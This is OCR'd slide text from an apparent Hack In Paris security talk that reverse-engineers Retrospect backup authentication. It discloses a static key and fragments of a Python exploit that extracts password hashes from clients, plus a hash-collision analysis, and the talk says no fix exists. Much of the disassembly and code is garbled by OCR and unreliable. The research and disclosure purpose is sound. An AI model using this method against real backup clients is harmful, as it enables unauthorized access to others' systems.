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What this talk is about
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e Introduction to the software
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Novosoft Handy Backup
* Introduction to the software
* Authentication Bypass
* Permanent D.O.S
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Proprietary - [ed]

v" Why Backup Servers?

Package % Publizher % |Continuous data protection %
- Critical for companies S el S
- SO I d asS a Secu r|ty SOftwa re Argentum Backup Argentum Software
- Th ey s hould be secure , rlg ht? Acronis True Image Acronis

Asigra Cloud Backup

v’ Backup Server list
(http://en.wikipedia.org/wiki/List_of backup so

Attix5 Online Backup

e re) ARCsenve D20
v" Our research
We found several vulnerabilities in a lot of backup seckupBgress (6
. . Backupdall Softland
a p p I I Catl O n S BackupAssist Cortex IT Labs
- Ret ros p S Ct Backup Exec Symantec
- Novosoft Handy Backup s -
- Others... © E':'”:m:m pae RiSat
rotection
IMPORTANT: Using this techniques we found S — —
similar vulnerabilities in other products. Crashpe Coe 2 Sotwre,

Dmailer Backup Dmailer
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v" There are no fixes for these vulnerabilities
v" Vendors didn’t try to contact us Q

v" We want to show you how we found these kind of
vulnerabilities. You can find more in other products.

v" We know that all of you are good people and won’t use this
issues with evil intent

v" We won’t be responsible of your evil ideas

Hack In Paris



DANTZ
RETROSPECT
BACKUP SERVER
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v Backup Client/Server widely used, even by NASA!

Here are some recent stories!

RenneR & Co

ARCHITECTS

PADT, Inc. RenneR & Co Muller & Caulfield

Honeywell Technology Solutions at NASA | Dale Windsor

Industry: Aerospace
Why did you choose Retrospect as your backup?

s then were many and it has

s made or bad file occurred

Hack In Paris



v' EMC told us 1 month ago that retrospect was sold in 2012

archivo  Editar Ejecutar Ventana Avuda

Permanecer en Retrospeck

Retrospect

Wersion 8.5.0 {136) (32-bith

2013 Retrospeck, Inc, Portions © 1989-2011 EMC Corporation,
Reservados bodos los derechos,

Patentes de Estades Unidos ndmeros 5,150,472 5,966 ,730; atras patentes
an curso, Retrospect son marcas registradas de Retrospect, Inc, Las dermds
marcas comerciales son propiedad de sus respectivos ritulares,

| fAceptar |
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v" In the past someone found some vulnerabilities (memory corruption, null
pointer de-reference and plain text password hash disclosure...)

v" No more vulnerabilities were reported since 2008!

fortiguard.com
Additional Information:

Three vulnerabilities were d throughout EMC's Dantz Ret ect Backup Client:

* A plain text |

* A null pointer reference vulnerability that leac enial of service
One vulnerability was found in EMC's Dantz Retrospect Backup Server:
* A weak passv hash algorithm vulnerability was discovered in the Server Authentication Module, allowing a remote attacker to gain control of
client's machine
Solutions:

® Users shoulgrlipgrade to the latest version of EMC Dantz Retrospect Ba

bal Security Research Team released the signature '

Hack In Paris



v’ Intercepting all requests/responses using CANAPE

v' What is CANAPE? An amazing tool!

v With a proxifier software and canape, we can intercept and
play With aImOSt anything. g | Sock ov | Packetlog3 | Packetlog4 | PacketLog5 | Packetlog6 | Packetlog?

- No T ) E v 3 Length Hash

fﬂ Prowifier - — _ . _ ‘ —
19/01/201 ‘ 192.168.157:11.. \ OO\, A21630352A90...

19/01/201 192.168.1 \x00E 00\ 4F928FEG57116

19/01/20 192.168.1.57:11.. \«OOW % oy 9D728296E4AF ..

19/01/20 192168.15711.. OO 765E546875186

19/01/20 19216815711, \ X0 813153036630

19/01/20 192.168.1.57:11... w002\ FSFSEBAIFATT...

19/01/20 192.168.157:11.. ‘wOlpY . 85004831205

19/01/20 192.168.1.57; 765E546875186

19/01 192.168.1.57:11.  \x00e'\w00\X0O\. AZ1680352A90...

19/01 19216815711, \O0EW00NDO... 230 AFS28FER57116

192.168

192.168

192.168.1

192168

192.168

192168

192 168

192.168

o o

(S NS RS R T S N Y

File Profile Llog View Help

HEE 4 GO

W W N -

Target Time/Status Rule: Fr

0244

7343

R T~ U S

I N — N~ T — N — T — T~ — O O — i — i — Y — ]

oo

— D

SO B W O

. wah: e el wmk e |k b b

B (131
Joinmedd3 0123 Default: localhost10

8 00:46 Default: localhost1080 :
19216815711, 6e&7156Kq
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v’ Retrospect.exe is the server. Retroclient.exe is the client.
v’ In the client installation, you have to set a password.

v When the server tries to connect to a new client:
¥ Red en vivo ---

Terminar

Settings | Packet Log | Text Log | Global Meta | Conns | History | Active Graphs | Injector | Redirect Log | Credentials

Timestamp Tag Network Hash

192.168.1.69:11... X D000 00" 00" ) 00" A21680352A90...
192.168.1.69:11... \ 00\ 0" F1123B4082E4...
192.168.1.69:11... D0 \ SD728236E4A
192.168.1.69:11... N \ N\ w0000 <0000 x00'x00'x00 765E546875186...
192.168.1.69:11... 00\ B 00'x00"x00"x00"x00"x00 813153C3669D..
192.168.1.69:11... X\ H > g B 23D2BEAC3FBS...
192.168.1.69:11... \x00"00"<00" D004 \ o000 00 \ 8F5004B312D5...
192.168.1.69:11... X\ 765E546875186...
192.168.1.69:11... % A \ : \ A21680352A50...
192.168.1.69:11... 3 F1123B4082E4...
192.168.1.69:11... \ SD728296E4AF...
192.168.1.69:11... % \ 765E546875186...
192.168.1.69:11... N\ )0 00" \ w00 \ \ 813153C3669D...
192.168.1.69:11... )0' i \ = ; i ... 23D2BEAC3FES...
192.168.1.69:11... N N ) ) 00 8F5004B312D5..
/03/2014 2:0 192.168.1.69:11... : 3 \ 765E546875186...

Hack In Paris



v" We know that the client (retroclient.exe) sends the password to the server
(retrospect.exe)

v' Why? If you enter an invalid password in the messagebox at the server, it
won’t send any packets.

v The server now has the password and is checking it by itself.

v' When is the client sending the password? Let’s look what the client is sending
during the first connection:

M Hack In Paris
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v" With Canape we can see that D8 and DA are likely Protocol

v" It looks like the password is in this encrypted packet.

v’ Let’s start doing some protocol reversing.




v’ In this case we used breakpoints in recv and sendv functions and then go
further.

v' When our packet is in the socket buffer , we will use Hardware breakpoints.
Address |Hex dump :

AR66B2BE f. FCALL to recy from network.@@66B2B8

-
N

oD

T e e ™ ¥ a3z2B : A8 DS 88 86 84 43 A8 DA R r
A380F2AG -.4L1LUC4I L$.. | Socket = 54C 3328 . B0 U0 U9 U0 AR B7 S5 HC....=U%
B380FS H4 BA2BEF4E N'+# | Buffer = BI2BEF4E j} EFGE B6 S8 AE F@ B3 A9 32 ED|AX«- |@2y
G380F8AS GABATFER .o.. |BufSize = 7FAA (32522.) | @32BEF66 B1 A6 SC 2A CO 78| H3\io#'p
B380FBAC  BEAGEAAA ... LFlags = @ 932BEFSE LS 09 69 2R 29 @6/ =5 iu'G)e
B3a0F s EH BARAEAC . ... 93zBEF76 EF 30 33 92 06 7B/ 83, pfal
 mammmmt  m - : % EF7E 21 2F 70 BS|2D/1 YA
B32BEFS86 BE 42 74 19| 2.Biltd4
B22BEFSE 47 39 7C IC| GleIX i
%) EF26 F@ CB 26 92| -Tir ' f&ef
B3Z2BEFSE |1 26 FB AB| Ey&Ust oo
EFRE L 26 23
EFRE 2 AC )%
EFE6 E : :
E E
5 B

D= NWONRATDDWOWIDTO!

=J

M OODOONMVMOUDWaEsEmMmaAaOt

—
)

HUuR' XY,
MEM»-
J lda L ﬁIAAI

IS ONTOMOND O IDNO VA=W S

-~
o'

IO O OMDWODITDoDIvuID e,

POTMAeLAMODDAONIEAETWOMNO

m
-‘ 3
xR A
D
|
gy
Wl

- -

QO B O O s £ 40 s 1

M= s
D= MAELDWOIMIMm«

—
MONEYNOOMODOWNSI = NNONDOODDoOR YO

IO

W TMMM-ODovw~NyNNODw MDD e MmO O LS

M LEDTTONM—=ONLAENLEADEMOOE-MD IllfI‘I.vt.

WD NOD DD MNNMECIOD [T

3 (%) (%) X3, F"=ivo
3 EG as oR06+C8.1
0 FBE B E B2 15| 3 Ay JRes
%X 1 7 73 CC| «2{uGshnlr
X s = 19 | S5 AESPOD
& 4 8 R RSB« +
3 3 9 6 (5] A" $nat
%X 3 3 a 9 @ S8l . X
‘.:." |~ 7 A 7 |x I I ;—‘ ’.lllE
. (= %

5

9

B

N ENLEODNNNDNDDWONN -

(il I

MDD sy a

O~~~ A
O
;
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v Using HW breakpoints we can find the functions which handle the socket we
are looking at.

v" We found this interesting function, which decrypts the packet and we can see
the decrypted packet in memory:

POGOBFE3 | . 51 PUSH ECK TR T ner S T
apeoBFed | > 3845 10 PHGU ERY, DUORD TR 551 (E6F+103 e Padcess LS UbD
AG6AEFE7 | . 83FE2 a1 SUB EAY, 1 ) FB s Lgake«- A38ER1S4 BB 16 BB B0 B1 68 60 80 ....0...
BOGOBFEA | . 8945 10 MOU DWORD PTR SS:[EBP+181,EAX B2v3Ns | GISEAIEC B1 0O B0 00 00 64 60 69 0....s..
i il oAl EnmmmEgnd

. » JWUK dl R L 'U)e' i A e
gty [ O T ke gea ?EEEE%JDL pEalzD/1 M3SEA1A4 @9 @O C3 57 SA 85 AL 66 ., HIZAIF
RogeRca | H200R T sodof B B PIF g61 (£GP 14 LIUA¥.Bi|  PISEAIAC E6 59 B 02 0P @D B2 4A pV.8,.8.

: ] JGRD PTR 503 FEBR+8] " Tt44G)61|  G3SEMIE4 @D DO OF F7 CO DA 0@ 61 ..%-t..a
DOEOBEVE | & GFBE1T LA LR T xiSKel | GIBEBIEC 7F 98 CF 40 60 CA 0O 0 ognn'=--
BOGOBFSI | . 3302 XOR EAX, EOX J#3Xbyw2|  G39EAICE OO 64 00 0O 69 00 00 60 .d......
BAEBEF33 | . SB4D 6C MOU ECX, DWORD PTR SS: [EBP+C) b‘ ]"ea’) BSSEGICC 88 @8 gg 68 88 38 Ba 66 DRI
Q60BFS6 | . OFEG1! HOUZi EDX, BYTE PTR DS [ECK) G/HmE?, A BIZERI04 GF 0O 0@ 69 AP BO 0 6P ..
BREGEFSE | . SB4S aC MOU EAK, DUORD PTR_SS: [EBR+C] Palob¥je|  SSSEDILCIN0.00 0000 00,00 00 i

& , O @AHu|  G3BEAIE4 0O GO 0P 0O 69 0O A9 00 ....

POEOBFSE | . 8810 MOU BYTE PTR DS:[EAX],OL Otuttons | BIGEOLEC 00 08 63 €5 €3 ¢F B 00
006aEFo3 | | 831 o1 AT ol b asemior KOB 41|  B3GEOLF4 0 DD G 0B GG 00 A3 0O ..
BOEEFS6 |+ 834D 08 MOU DWORD PTR S:CEEBP+81,ECK _CIHt_s¥|  038EBIFC 9O 69 99 A9 09 60 09 08 ....
BBEEBF99 | . SBSS aC MOV EDX,DWORD PTR SS:[EBP+C) .0, Bkt A3CEAZA4 AA BA A6 66 66 66 86 68 |,
u6aBFaC | | 55C2 af e —— AblQAr9s|  G38EGZAC 0O G0 0O GO 0P B 0P 0A ..

. WURL &1 O 1, ' - oy 'ss
- Sicivins|  osscusic an oo oo 0o 09 0 0 o0
BAGABFAS | .~EB BA SHORT netuork . BBEOBF 64 IC EU.TOE:£|  B3CEGE24 @B B0 @0 GG 00 69 64 oa
BOGOBFAR | > SR4S 14 MOU AL,BVTE PTR 5S:LEEBP+14]
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v' Where is the password?

ASCII

A38EG1S4 B0 16 B0 00 G1 00 60 88 ....0...
A3CEA1SC B1 60 60 00 B0 B4 60 08 0....e..
A38EB124 0B B0 00 63 08 B0 68 a1 ...0...8
B3CEBISC 00 BB 26 60 86 66 Co 68 .. ...

@3CEG1AR4 BB BB C2 57 SA 85 Al &6 . waalF
A3BEAIAC E6 59 08 B2 68 66 82 4R PV 8..8J
B3SEA1E4 G0 PO OF F7 CO 00 08 61 ..#<L..a
A38EBIBC 7F 98 CF 4D 6@ CR B8 68 ojoM=..
A33EAICY BB &4 B8 G0 0O 00 88 60 .d......
A32EAICC 06 BB B0 00 00 00 88 68 ........
A33EA1D4 BB B8 B8 66 00 00 68 68 ........
A3SEBIDC 606 B0 60 00 B8 00 60 88 ........
A3CEGIE4 00 60 08 00 00 00 68 88 ........
A3CEAIEC B8 60 63 65 62 6F B8 88 ..cebo..
A3CEGIF4 0B B0 60 00 68 00 60 88 ........
A3CEGIFC 60 00 00 00 B8 00 60 88 ........
A3CEGDZ2G4 B0 60 B0 00 B0 00 B0 88 ........
A3CEG2GC 00 B0 B0 00 B0 00 60 88 ........
A38EBZ214 BB B0 00 00 B8 00 60 88 ........
B3CEBZIC 00 B0 B0 060 B8 00 60 68 ........
A3CEBZ224 0B B0 B8 BB 00 00 60 88 ........

. FS A1 CF 4D 64 71 68 600 SidMdq..
88 64 B0 90 00 00 66 60 .d......

e
238
?c-
20
g L
0
338
e
™4’
33
A20
-M
e
38
e
38
20
38
20
-
28

) 1_9 1_.| L_.l G) L;l |"| 13- l:l 4_;; |§|

-
.*

_ , 09 90 90 00 00 00 00 B0 ........

g —
DO

IO
PO Q0 O Q0 00
10O

-
e

B0 B0 00 90 00 GO0 00 B0 ........

v Only changes 4 bytes; it looks like it is a hash...
v" It will always use 4 bytes for any password.
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v If we are able to decrypt this packet using an exploit and get the hash we will
have a vulnerability, well, a shit one ©

v Time to think and reverse the whole process.

A\
.

v" We found 3 important functions. Let’s start to talk about them.
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v' How is the hash packet decrypted???

* Functionl:

004CFFD9 ?—gggg é? U EBY,CU0RD 1 51 [EBP+10) v’ Using logical operations calculates 4
Mgl I Al ' .
@?j;:FEEE . ?EEEB'B ) DIORD PTR 551 £8P  ED¥ bytes using as a parameter the
BA4CFFEZ | SHO HEEGH.@J' 5[5 .
BR4CFFES |, 8B4 E4 MOV EAX,DWORD PTR 5S: [EBP-1C] following 32 bytes key:
BA4CFFE? | . C1ED 03 SHL ERY, 3
SEjEFEEE . E?Eg Eg HOu EEE._S RD FTR S5:[EBP-1C]
14 . 1 SHR ECY, 1
WATTED | L@ | B v '850
gl o« R
GR4CFFFS | . 8945 E4 MOU DWORD PTR SS:CEBR-1C1, EAX (136)cebo56y91&"Jhwyrp9qg4”
BA4CFFF2 | . BBSS BC MOu EDH._I RO FT 5=t [EBF+C]
el R N
5 . . IORD | . . .
ondoaont || 6B4D ac MOU ECX, | BTR G« [ERPA v’ Client_version+client_hostname+st
BE40oee4 | . 83C1 a1 ADD ECYX. 1 :
63400007 | . 2940 acC 10U DUGRD PTR S5: [EBP+C1, ECK atic_key
BA40866EA | . SBEE FB MO EDH.I' RO PTR IF-~—1HI
00400011 | | 8365 Fa | OU DIOR FTR S5: (EEP- 10, EOK
Hadlaa1l . 10U OWORD PTR '_._..'_L
aa400a14 | . 89645 E4 MOU EAX, DWORD PTR 5S¢ [EEP-1C] v Static key?
@@iE'g‘?}? . 3345 Fo YOR ERX, DWORD PTF 55+ [EBF mg{ o
¥ | ) EL FIR Ss: [EEF=1
coonid | PSR LI SR esco by FORNULLD SISt
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MORE REVERSING F2

8428766 | > 8B45 F@ *MOY EAX, DWORD PTR S5:[EBP-18]
aa4z22ve9 | « 23C8 @1 ADD EAx, 1 )
@a42376C | . 8945 Fe MOV DWORD PTR SS:[EEP-101,EAX
SRIZRTSE | > BEED ER,10 om0 [T, DU0ND, TR SSeCERR-ied,IF
. R . JA retrocli
* Function2: @p423779 | . C745 E4 @o@ee | MOU DWORD PTR SS: (EBP-1C1,@
ga4z2e720 | . 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
aB42a7v23 | . 8940 FC MO EIUUF[I PTR SS:[E EF 41,ECH
@a423786 | . EB 12 7 SHORT retrocli.B042879A
: 80425708 | . 8303 61 [FoD EDi 1 o EEERTIES
With the 4 bytes from F1 as an argument, 23507 |« 25 &) HOO GUARD PTR S5 CEBP-1C1, EDX
. gg:gg;gi . Sggg ElI: EBH EE?DLDF:D FTR SS:[EEF-41]
. 1
F2 WI” generate a 1024 byte array' Baa422797 | « 8945 FC Mo I:l..ll:lﬁ:D FTR S5:[EBF-41,ERR
Ba42279A0 | » SB4D @8 pMOY ECX,DWORD PTR SS: [EEP+8]
T #3423730 | . 2BSS E4 MOU EDX.OWORD PTR 55: [EBP-1C)
B ea4287a8 | . 3011 CHP EDY,DWORD PTR DS: CECH]
@a4287A2 | . @F30 88000000 || JGF retrocli.on428836
£ 74 gg:gg;gg . 2345 ac I.P_EEHEEEDJ.DF:D PTR S5: [EBP+C]
 HRLEEM PRI IR sirhs e R [0 B e e en
. 1L o I o SS: [EBP-2
S lRpEnpanhiniaiel Rl B E || B e
3 . I ) e
Gl B TR EXEER Goazercs | g0 EC 09 '“”%E‘e:g? iy iy
. E e TC'C I.
B220RESS 4C 8 22 D 68 b7 92 DC PR 57 Bb 55 16 43 ¢ o6 @a428700 | . 2355 EC AND EDX, DWORD PTR SS: [EBP-14]
G320AEes 09 B9 91 Be Gt Bp Lh CE C7 15 €3 65 PF 1A &1 o7 padearha |- BR%E EE O a0 Fan pesfEar- 14, EOX
. UL j=sS1- wr=1c
@a42370C | . 9945 E8 MOU GWORD PTR SS: [EBF-181,EAX
Ba4227EL | > 2B4D FC HDU ECX, DWORD PTR S5: [EEFP-41]
GRS R T I RA B godzerts |5 2340 Eo R T
4 » " MO DWORD PTR S5:[EEBP-181
LR HEC oI nEERNE soszorER | SRR i Ea-gw R
- MUt ] B |
> - DWOR R SS: -28
03308095 84 E7 E4 OC 40 o1 80 2 4 o8 17 71 28 is 55 e Ba4257FA | . BFBE11 MOUZY, EElx BYTE PTR_I;IS: |:E-::><:|
e S=2-24 O cc Qo <o 42 GO 02 o1oao aa4287vFD | . 23355 F8 HOR EDX,:I_III_IF:D PTR ':t [EEP-8
@a423300 | . 2B45 E@ MOU ERX.DWORD PTR 5S: [EEF-2@1
aa423303 | . 2810 MOU BYTE PTR DS:CEA%],OL
aa4228605 | . SB4D EB HOY ECH, DWORD PTR SS: [EEF— 31

\x14/20
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* Function3:

Using the array from F2 as an argument it will create a new array of 1024 bytes
using basic XOR operations with the “secret key”

(Client_version+client_hostname+static_key)

OacsoBF&=
gacaBFa4d
aacaBFsyY
aacsaBF&A
aasaBF&sD
aacaiBFasF
aacaBF72
aacsabBF7©4
BacoBF77
aacaiBF 7B
OasaBFE
aacaBF=21
aacaBF232
aacaBF 2SS
OacaBFS9
aacabBFsSB
BasoBF2E
aacaeF24g
aasaBF22
OacsaBF 95
BacaBF99
aacsaBF2C
BacaBF9SF
aasaiBFAZz2
OasaBFAS
gacaieFAsS
OBEOEFAR

}( MaGK Il Fdrils

0, 0L 000,.0.800 ., 00,0, 00,080, 0,.0,'0, 00,0808 vl

?

vl

S355 FF
aFec4Ss 14
sSe4D as
aFec11
=3C2

SsSB40 acC
aFec11
=22Da

sB45 ac
881\

PUSH ECX
FMOUV EAX, DWORD FPTR
SUEB EAX, 1
MOU DWORD PTR SS:
= SHORT network.
MOU ECX,DWORD PTR
MOV DL,BYTE PTR D
MOU BYTE PTR SS:
MOUZX EAX,BYTE PTR
MOU ECX, DWORD PTR
MouzZx EDX,BYTE PTR
#OR ERAX,EDX
MOU ECX,DWORD PTR
MouZx EDX,BYTE PTR
=OR EDX,ERAX
MOU ERAX, DWORD
Moy BYTE PTR D
MOU ECX, DWORD
ADD ECX, 1
MOU DWORD PTR
MOV EDX, DWORD
RADD EDX, 1
MOU DUWORD PTR
MOU AL, BYTE F
BYTE PTR

m

m
- T
. +
m »
D ®
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. Functionl(Again!):
PMOU EDX, DWORD PTR 5S: [EBP+1A]

PA4CFFOS
BB4CFFOC
B84CFFOF
BB4LFFES
BB4CFFE4
BA4CFFE?
BB4CFFER
B84CFFED
BB4LFFF
BB4CFFF3
BA4CFFFS
BB4CFFFE
BB4CFFFE
BB4LFFFE
Bi40a061
Ba40a004
BB400ae7
B840B06R
BiadDuail
Bad0aa1 1
Ba40a014
BB400a1 7
Ba40B01A
a1l

R N N

> 8BSS 10

. 83EA 81
. 8955 10
. 78 3B
. 8B45 E4
. C1EA 83
. 8B40 E4
» CIE9 1D
. B3E1 83
» BBCI
. 8945 E4
. BBSS aC
« AFBaGZ
. 8945 FO
. 8B40 BC
. 83C1 a1
. 8940 aC
. OBSG F@
. BFAFSS FO
. 8955 F@
. 8845 E4

. 3345 FO
« 8945 E4
“EB BA

A ommemes =y =

SUB EDX, 1

MOV OWORD PTR SS:[EBP+181,EDX
SHORT meson,BB40Ba1F

MOV EAX,DWORD PTR SS:[EBP-1C]

SHL EAX,3

MOU ECX,DWORD PTR S5:[EBP-1C]

SHR ECK, 10

AND ECX,3

OR ERX,ECX

MOU DWORD FTR 558 .'FF::'-'.".,EI:]H

MOU EDX, DWORD PTR S5:[EBP+C

MOUZ & ERH BYTE FTH DS [EDH]

MOU DWORD PTR S5 _hE-- ERH

MOY ECX, DUWORD FTF 1 [EE F+

AOC EEH.l

MOV DWORD PTR SI:I[D“*E].EEH

MOU EDX,OWORD PTR SS:[EBP-18]

IMUL EDX, DUORE THr [EBP-10]

MOV DWORD FTR SS: "E-- i1, EDX
MOU ERX, DWORC w s [EBP-1C]
A0R ERX,DWORD PTR IZ:[EEP 18]
MOU CWORD PTR SS: (EBP-1C],EAR
SHORT meson . BB4CFFDI

CRT R

A Hack In Paris

Using logical operations calculates 4
bytes using as a parameter the 1024
byte array from F3



MORE REVERSING F2

B84228766 | > 8B4E F@ ~MOU EAX, DWORD PTR SS: [EBP-1@]
aad4z2ave? | « 83C8 @l ROD ERw, 1 )
0e42876C | . 8945 Fe MOU DUORD PTR SS:LE EP-107, EAX
BELE | HE DL, [oF. s St
. H R . JA retrocli.
° FunctlonZ(Agam!). 83428779 | . C745 E4 90060 | MOU DWORD PTR SS:[EEP-1C1,8
Ba428728 | . SB4D F4 MOU ECX,D0WORD PTR S5:[EBP-C]
Ba422783 | . 2940 FC Mo EIUUF[I PTR SS:[E EF 4]1,ECH
80425726 | . EB 12 7 SHORT retrocli.B042879A
: Godcacah | . 8308 61 [R0D EDx, R
With the 4 bytes from F1 as an argument, 52508 | @ S g HOU DUORD PTR S5: [EBP-1C1, EDX
- Saci| gRE || e S
. 1
F2 WI” generate d 1024 byte array' Ba4z2av37 | « 8945 FC Mo I:l..ll:lﬁ:D FTR S5:[EEP-41,ERX
Ba425879A | » SB4D 88 MOU ECX,DWORD PTR SS: [EEP+2]
R 80422790 | . SBSS E4 MOU EDX,DWORD PTR S5:[EBP-1C1
E 642578 | . 3811 CHP EDX,DWORD PTR DS: [ECK]
6e4257A2 | . @FBD 9880000@ || It retrocl i.@0428830
£ 74 gg:gg;gg B 2345 ac I.P_EEHEEEDJ.DF:D FTR S5: [EEBP+C]
 HRLEEM PRI IR sirhs e R [0 B e e en
. WwlRLD SS: [EBP-8
S lRpEnpanhiniaiel Rl B E || B e
3 . I ) e
e ek RloR IR Gogcorid | garh Ec el '“”%E‘e:g? iy iy
" = re TC'C I.
B330RESS 45 S8 35 0D 08 47 95 DC FA 57 Bb 95 16 43 7E 78 9a428708 | . 2355 EC AND EDX,DWORD PTR SS: [EBP-14]
B3o0AESS 99 BS OF Be OG ED LB & Cp 19 C4 b5 PF 1n of oF padearha |- BR%E EE O a0 Fan pesfEar- 14, EOX
. OWORD S5: [EEP-13
nb R e TR b aa428709 | . 83C0 ol AOD ERY, 1
8842570C | . 8945 E8 MOU GWORD PTR SS: [EBF-181,EAX
aa42a7EL | » 8B4D FC HDU ECX, DWORD PTR 55: [EEF-4]
GRS R T I RA B godzerts |5 2340 Eo R T
B ¥ 0L DWORD PTR S5:[EBP-181
Rttt Yt geisren | EE g o Ea-gw B
- MUt ] B |
> " DWOR R S5: -28
03308095 84 E7 E4 OC 40 o1 80 2 4 o8 17 71 28 is 55 e Ba4257FA | . BFBE11 MOUZY, EElx BYTE PTR_I;IS: |:E-::><:|
e oooZi O <o OO <o odn Gn oo oodoao aa42a87FD | . 3355 F8 HOR EDX,:I_I"_IF:D PTR 55: [EEFP-8
68425500 | . S8B4E E@ MOU ERX,DWORD PTR SS: [EBP-20
0423503 | . 8810 MOU BYTE PTR DS:[EAX],DL
88428565 | . SB4D EB MOy ECK, DWORD PTR S5: [EEF— 45 )

\x14/20

B l-A . Wil -0



* Function3:

Using the array from F2 as an argument it will decrypt the encrypted packet
xoring Array(F2) xor encrypted packet.

K MaGn il Fally

BAcBBF&2
BacaBF&e4
BacaBF&7Y
BacBBF&A
BecBBF&D
BacaBFEF
BacaBF72
aacaBF 74
BOcBBF 77
BacaBF 7B
BEacaBF7E
agcaBF21
BacBaBF23
BacaBF 26
BacaBF29
BacaBFSB
BasBBFSE
BacaBF 26
BacaBF 23
BEacBaBF 2%
BEacaBF 3992
BacaBF2C
BacaBF9SF
aacaBFARZ2
BacBBFAS
aacaBFAS
BOEBEFAA

S1

> 8B4S 18

S3ES a1
8945 18
¥e 2B
SB4bD acC
SH11
8855 FF

BFBc4S 14

SB4D a8
aFBe11

PUSH ECX

MOV EAX, DWORD PTR SS:[EBP+1637
SUB EAX, 1

MOU DWORD PTR SS:[EBP+181, EAX

= SHORT netuork @8 BFAA

MOU ECX,DWORD PTR S CEBP+C]
MOV DL, BVTE PTR DS: Cx1]

MOou E”TE PTR SS:[CEB 11,DL
MOUZX ERAX,BYTE PTR SS:[EBP+14]
MOU ECX,DWORD PTR SS:[EBP+2]
MOUZ® EDX,BYTE PTR DS:[ECRX]
ZOR ERX,EDX

MOU ECX, DWORD PTR SS:[EBP+C]
MOUZX EDX,BYTE PTR DS:[ECX]
#0OR EDX,ERX

MOU ERX, DWORD PTR SS:[EBP+C]
MoyU BYTE PTR DS:[EAX], DL

MOU ECX,DWORD PTR SS:[EBFP+81]
ADD ECX, 1

MOU DWORD PTR SS:[LEBFP+21,ECX
MOV EDX, DWORD PTR SS:[EBP+C]
ADD EDX, 1

MOV DWORD PTR SS:[EBP+CJI,EDX
MOU AL,BYTE PTR SS:[EBP-11]
HOU E“TE PTR SS:[EBP+141,AL

SHORT network . 9066EBF&4

MOU AL,.BYTE PTR SS:[EBP+14]



Secret key

4 bytes 1024 Array Secret key

_'—I

Encrypted
4 bytes /y 1024 Array Packet

-F -!/

 Hack In Paris



v’ Every argument in each Function is static, except the key:

v’ Client_version+client_hostname+static_key

WU WO WWWTIR LT W LR W

PUSH ECK
PUSH retroc!i,BBd63608 ASCIT "Sey9l& Jhwyrp9adSwrtwlddwutZasll”
D CCERD2AT

| CA CAY RLUADA DTO

v" We have everything, we can write an exploit in order to get the hash.

Hack In Paris




v" We will try to write an exploit in order to get the hash password from the client.

v' We just need to execute the functions F1,F2,F3 and use their static parameters
and the “secret key”.

v" We could see in Canape that :

M Hack In Paris



in Canape that

00

v We could see

'3

¢ ReA
) Q)
L W oe
0] 7[x]

| Wi
—n .
1 el)
.VA | A
LS . ~n
LR T 1)
sk 0N <l
Hill ¥
¥ o«
« g

.
s oo

e
J
0

- -
\
S0, RS
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U

N
~
X
A
=
x
0
v
r

~ o~

|1
2

U

v’ Let’s put all things together in a Python exploit!

-
~

)
~
J




key fFinal_ key

longitud len{(key)
key key .encode( "hex")
a =)
i e
i (longitud):
b a =
C a 29
C C 3
a b c
mul int(key [©:2],16) int(key[e:2],16)
key key[:0] key[(2):]
>xor a mul
a xor
xor hex{(xor)
res xXor
i i 1
res res[-9:]
bytes res[e:8]
"First 4 bytes -> ™ bytes

Hack In Paris



(valueaux > 8):

X Pange(1924): valueaux valueaux valueaux 1
a "\ x00" contador contador 1
I ] t i
a ‘a.encode( hex') resu - valaux
vl.insert(x,a) max = contador
b=6 contador = ©
val = @ ac - @
bytes = bytes.encode('hex') CEG L widl
d o ac+1i 1023:
conta ?P res int(vl[ac+i-1024],16) resu
val = int(bytes,16) t = hex(res)
save = val vi[ac+i-1624]=t[len(t)-3:1len(t)-1]
X range(31): vi[ac+i-1624] = vl[ac+i-1824].replace("x","8")
i range(1024): :isu acresz ;
val = save * 1103515245 '
val = val + 12345 res = int(vi[ac+i],16) * resu
save = val t = hex(res)
val val 16 vi[ac+i]=t[len(t)-3:1len(t)-1]
val val 32767 vi[ac+i] vi[ac+i].replace("x","@")

resu resu 1
valaux = val
ac ac 1

valueaux = val aux = int(vi[i],16)

Hack In Paris




clave_hostname final key

r range(le24-len(clave_hostname)):
clave_hostname "\ xee"
longitud=1len(clave_hostname)
array .
r vil:
array r
i e
a e
clave_hostname clave_hostname.encode( "'hex')
v2=[]
v3=[]

i longitud:
var a int(array[©:2],16)
var hex(wvar)
array array[ :0] array[(2):]
var2= int(clave_ _hostname[©:2],16) int(var,16)
= var2
v3.append((var2))
var2 hex(var2)
v2.append(var2)
clave_hostname clave_hostname[ : 9] clave_hostname[(2):]

Hack In Paris



v" We don’t need MITM.

v" We just need to send one packet to get the client hostname and version.
v" Send another packet and we have the encrypted packet.

v Execute F1,F2,F3 with the “secret key”.

v' We have the hash of any client.

v’ Let’s see the exploit working!

 Hack In Paris






v" Now we have the ability to get the Hash of any client
v" What can we do with this hash?

Password “test” -> 00617F98
Password “test1” -> 030BF5A1

4 bytes Hash -> 4 billion of possible unique passwords
Retrospect Password -> Max length 31 , 90 possible characters.
90~ 31 = 3,8x10760

Aprox collisions =90 ” 31 / 4 billion = 9,50 x 10750 ( more than atoms on
Earth!)

Hack In Paris



Reqgisters (FPU)
AX 17F9 network.00617F98

EGY FEFEFEE

5
v" We found the hash function (Functlonl |) EBP #33R8704
ESI 61703C10 uimeson.61703C10
EDI ©33DE438
Restrospect.exe: EIP @04D001F meson.@04D001F
B | > C745 E4 MOV DwORD PTR SS:[EBP-1c],0
004CFI| > 8B55 10 MOV EDX,DWORD PTR SS:[EBP+10] Counter, length of the password (First iteration is 4 , the lengh of "test")
004CFr| . 83EA 01 | SUB EDX,1
004CFr| . 8955 10 | MOV DWORD PTR SS:[EBP+10],EDX
004CFr|. 78 3B SHORT meson. 004D001F
004CFi| . 8B45 E4 | MOV EAX,DWORD PTR SS:[EBP-1C] Acumulator (first iteration , is always 0) <«
004CFI|. C1E0 03 | SHL EAX,3 shift left 3 bits the acumulator
004CFi| . 8B4D E4 | MOV ECX,DWORD PTR SS:[EBP-1C]
004CFi| . C1E9 1D | SHR ECX,1D shift righ the acumulator 1D bits
004CFi| . 83E1 03 | AND ECX,3 And the result of the SHR with 3
004CF| . 0BC1 OR EAX, ECX OR the results of both operations
004CFI| . 8945 E4 | MOV DWORD PTR S5:[EBP-1C],E Save the OR result in EBP-1C
004CFi| . 8855 OC | MOV EDX,DWORD PTR SS: [[nml]
